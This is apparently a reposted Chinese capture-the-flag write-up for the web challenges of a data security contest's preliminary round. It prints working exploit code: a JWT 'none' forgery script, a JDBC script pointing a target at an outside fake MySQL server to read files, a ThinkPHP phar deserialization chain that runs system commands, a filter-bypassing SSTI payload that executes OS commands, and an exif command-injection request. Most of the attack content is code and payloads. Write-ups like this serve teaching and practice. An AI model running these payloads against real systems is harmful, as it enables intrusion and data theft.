首届数据安全大赛初赛web

这篇具有很好参考价值的文章主要介绍了首届数据安全大赛初赛web。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

easy_node

访问src得到源码

第一步需要伪造admin用户

可以看到都是通过jwt进行加密解密

很容易想到jwt的几种攻击方式,可以参考下文章https://blog.csdn.net/miuzzx/article/details/111936737

首先试下改为none

var jwt = require('jsonwebtoken')
 
data={username:'admin'}
 
//生成token
 
var token = jwt.sign(data, '', {algorithm: 'none'})
 
console.log(token);

一开始还以为是原型链污染,然后发现不太一样。
类似于一个套娃,如果键值是Object,又会进行一次赋值。
所以我们可以把flag放入内层中。
最终payload
{"properties":{"0":["0","1","flag"],"length":"1"}}

easy_web

前端源码泄露漏洞并用source map文件还原

参考文章https://blog.csdn.net/qq_44930903/article/details/124257571

访问app.ddeec4b4.js.map下载到

reverse-sourcemap -o aaa -v app.ddeec4b4.js.map

得到文件夹src,在api/user.js中得到可以地址
首届数据安全大赛初赛web
进入如下页面
首届数据安全大赛初赛web
可以进行数据库连接,很容易想到通过jdbc读文件,或者反序列化
项目地址https://github.com/fnmsd/MySQL_Fake_Server
不过过滤了一些关键词
题目提示用utf16绕过,具体代码如下

import requests
import urllib.parse
url = 'http://eci-2ze6f7fy0tfqts9ijl92.cloudeci1.ichunqiu.com:8888/connect'
payload ="""<?xml version="1.0" encoding="utf-16"?><url>jdbc:mysql://(host=101.34.94.44,port=3307,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,%61llowLoadLocalInfile=yes)/db</url>"""
data={"xmlString":payload.encode('utf-16le')}
print(data)
r = requests.post(url,data=data)
print(r.text)

easy_phar

该cms本身存在漏洞
参考文章https://github.com/MuYuCMS/MuYuCMS/issues/2
大概就是通过上传一个phar文件,然后再利用application/admin/controller/Update.php中的rfdirr触发phar反序列化。

因为后台没法进入所以尝试其他的文件上传方法。
找到public/static/admin/static/ueditor/php/controller.php,可以看到能够获取远程文件
首届数据安全大赛初赛web
本地测试可以成功下载远程图片文件,并且文件目录可知为
首届数据安全大赛初赛web
将恶意phar文件修改后缀后放入远程服务器上
首届数据安全大赛初赛web
触发phar反序列化
首届数据安全大赛初赛web
poc

<?php
namespace think{
    abstract class Model{
        protected $append;
        private $data;
        function __construct(){
            $this->append = ["aaaa"=>["123456"]];
            $this->data = ["aaaa"=>new Request()];
        }
    }
    class Request
    {
        protected $param;
        protected $hook;
        protected $filter;
        protected $config;
        function __construct(){
            $this->filter = "system";
            $this->config = ["var_ajax"=>''];
            $this->hook = ["visible"=>[$this,"isAjax"]];
            $this->param = ["cat /f*"];
        }
    }
}
namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files;

        public function __construct()
        {
            $this->files=[new Pivot()];
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
    }
}
namespace{
    use think\process\pipes\Windows;
    @unlink('shell.jpg');
    $phar = new Phar("shell.phar"); //
    $phar->startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $object = new Windows();
    //$object ->haha= 'eval(@$_POST[\'a\']);';
    // $object ->haha= 'phpinfo();';
    $phar->setMetadata($object); 
    $phar->addFromString("a", "a"); //添加要压缩的文件
    
    $phar->stopBuffering();
    
    echo (base64_encode(serialize(new Windows())));

}
?>

刮刮乐

考察ssti,过滤了{{ _ 等一些字符

直接用我的珍藏payload

https://blog.csdn.net/miuzzx/article/details/112168039

可以看下369的payload

试了下反弹shell失败,估计是不出网,那直接把命令结果写到静态文件上

payload

{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.exec(cmd)%}
123
{%endif%}

再通过下面的代码生成相对应的命令,补全到上面cmd位置

s='__import__("os").popen("cat /app/*> /app/static/css/headerLIne.css").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t
print(ccchr(s))

再通过下面的代码生成相对应的命令,补全到上面cmd位置

s='__import__("os").popen("cat /app/*> /app/static/css/headerLIne.css").read()'
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i<len(s)-1:
			t+='chr('+str(ord(s[i]))+')%2b'
		else:
			t+='chr('+str(ord(s[i]))+')'
	return t
print(ccchr(s))

my_cloud

根据提示,利用弱口令admin/admin888进入后台。
发现存在备份文件,下载下来备份文件后,审计发现可疑代码
首届数据安全大赛初赛web

exif为可控内容,并且最后进入了shell_exec中。
提示中还有一句话注意到图片预览了吗,尝试看看逻辑呢
可以联想到和图片预览相关,而代码中检测了图片的content-type,应该就是上传文件时了。
从 generatePreview 猜测就是产生图片预览图的时候会生效,所以直接上传图片的同时进行抓包:
首届数据安全大赛初赛web
加入恶意语句:
GET /core/preview?fileId=838&c=0e31b19b118b00a431a6a4d38bca54e5&x=500&y=500&forceIcon=0&a=0&exif=;ls+/>/var/www/html/robots.txt;sleep+3
成功延时
首届数据安全大赛初赛web
访问 robots.txt 拿到结果:
首届数据安全大赛初赛web文章来源地址https://www.toymoban.com/news/detail-405072.html

到了这里,关于首届数据安全大赛初赛web的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • “技能兴鲁”职业技能大赛-网络安全赛项-学生组初赛 Crypto WP

    查看代码 考点:共模攻击 EXP 关注微信公众号“中学生CTF”,回复“开始游戏” 按要求回复相关内容分别获取公钥  密文 提示 私钥 公钥 密文 提示 私钥 EXP 查看代码 按加密顺序反解即可,需要注意的是base100表情符号之间的空格要去掉 EXP 查看代码 分析:flag分为了两段 part

    2024年02月05日
    浏览(41)
  • 2023年 首届盘古石杯全国电子数据取证大赛 技能赛决赛 服务器题解析

    root@P@88w0rd 方法1 john的电脑使用账号john密码paofen登录,chrome浏览器中密码管理器内查看 切记仿真时不要清空账号密码 方法2 使用计算机取证软件解析john的电脑的镜像浏览器记录密码 TrueNAS-13.0-U4 使用虚拟机内TrueNAS显示的IP地址用浏览器访问后使用账号root 密码P@88w0rd 登陆后在

    2024年02月11日
    浏览(43)
  • 全球选手逐鹿清华!首届AI药物研发算法大赛完美收官

    8月26日,首届全球AI药物研发算法大赛决赛答辩暨颁奖典礼,在清华大学生物医学馆举行。来自微软研究院、中国科学院上海药物研究所、上海交通大学等单位的十五支团队,从全球878支团队中脱颖而出,进入了决赛答辩环节。 产教融合,共育AI药物研发人才 总决赛开幕式上

    2024年02月10日
    浏览(41)
  • 【有奖征文】首届网易数帆低代码征文大赛开启啦!

    2023年4月, 网易数帆低代码平台升级 CodeWave 智能开发平台 , 定位中大型企业核心软件的智能化生产,从底层帮助企业提高开发效率,IT人员可以轻易实现从“智能生成”到“可视化拖拽调整”的全栈低代码应用搭建,让复杂应用开发更加高效,加快企业数字化与智能化进程

    2024年01月21日
    浏览(39)
  • 首届百度商业AI技术创新大赛启动 点燃AIGC革新“星火”

    随着生成式AI在全球范围的热议,AIGC前沿技术也在快速迭代,正如百度CEO李彦宏所说 “人工智能发生了方向性改变,从辨别式AI走向生成式AI,生成式AI会带来极大的效率提升” 。而这一领域的发展,将推动AI产品应用深化,极有可能在内容创作、客户服务等领域带来颠覆性变

    2024年02月09日
    浏览(58)
  • 快讯 | ALVA 荣获首届“格物杯”联通物联网应用创新大赛复赛一等奖!

    8 月 7 日,“物聚龙江 智联百业”物联网创新发展合作交流暨首届“格物杯”联通物联网应用创新大赛企业赛道复赛 (赛区四)在哈尔滨举办。 ALVA Systems 凭借智能远程协助平台—— ALVA Rainbow 在近 50 家企业中脱颖而出,荣获 首届“格物杯”联通物联网应用创新大赛复赛 一等

    2024年02月09日
    浏览(46)
  • 2022百度之星程序设计大赛 - 初赛 - 第二场 1001 和

    problem solution 题意: 给出长为n的序列,q次询问区间是否存在=k个数之和=x。 n,q 1e5, k 10. 思路: 因为要和=x,所以让和尽可能大,即判断区间中最大的k个数之和是否大于x即可。 即区间最大,倒数第2大,倒数第3大,倒数第k大之和即可,k10,可以暴力。 对于区间从小到大第

    2024年02月16日
    浏览(38)
  • 2021 RoboCom 世界机器人开发者大赛-本科组(初赛)

    比赛介绍 比赛信息 比赛官网:https://www.robocom.com.cn/ 报名流程:https://www.robocom.com.cn/content.html?cid=386 工信部发文:https://www.robocom.com.cn/content.html?cid=367 中国教育学会清单:https://m.cahe.edu.cn/site/content/14825.html 编程赛道通知:https://www.robocom.com.cn/content.html?cid=369 赛制说明: CAIA数

    2024年02月16日
    浏览(45)
  • 2021 RoboCom 世界机器人开发者大赛-高职组(初赛)

    编程题得分:100  总分:100 目录 7-1 机器人打招呼 (5分) 输入格式: 输出格式: 输入样例: 输出样例: 7-2 人脸识别 (10分) 输入格式: 输出格式: 输入样例 1: 输出样例 1: 输入样例 2: 输出样例 2: 7-3 月份输出 (10分) 输入格式: 输出格式: 输入样例: 输出样例: 7-4 字

    2024年02月12日
    浏览(50)
  • 西安石油大学2023年第三届里奇杯编程大赛(初赛)

    官方题解地址1v7w (郭毅佬!):https://www.cnblogs.com/1v7w/p/17437203.html 描述 你说得对,但是 “ 里奇杯 ” 是西安石油大学计算机协会举办的程序设计竞赛,比赛旨在激发同学们学习程序设计的热情,提高编程能力,调动编程的兴趣和积极性,在这里,你将扮演名为“参赛选手”

    2024年02月09日
    浏览(68)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包